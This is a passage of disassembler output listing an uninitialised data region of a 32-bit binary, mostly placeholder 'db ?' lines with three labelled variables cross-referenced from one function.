		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_80797B5	db ? ; unexplored	; DATA XREF: sub_804C6FC+3Bo
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_8079BB8	dd ?			; DATA XREF: sub_804C6FC+12o
					; sub_804C6FC+20w ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_8079C48	dd ?			; DATA XREF: sub_804C6FC+19o
					; sub_804C6FC+2Aw ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
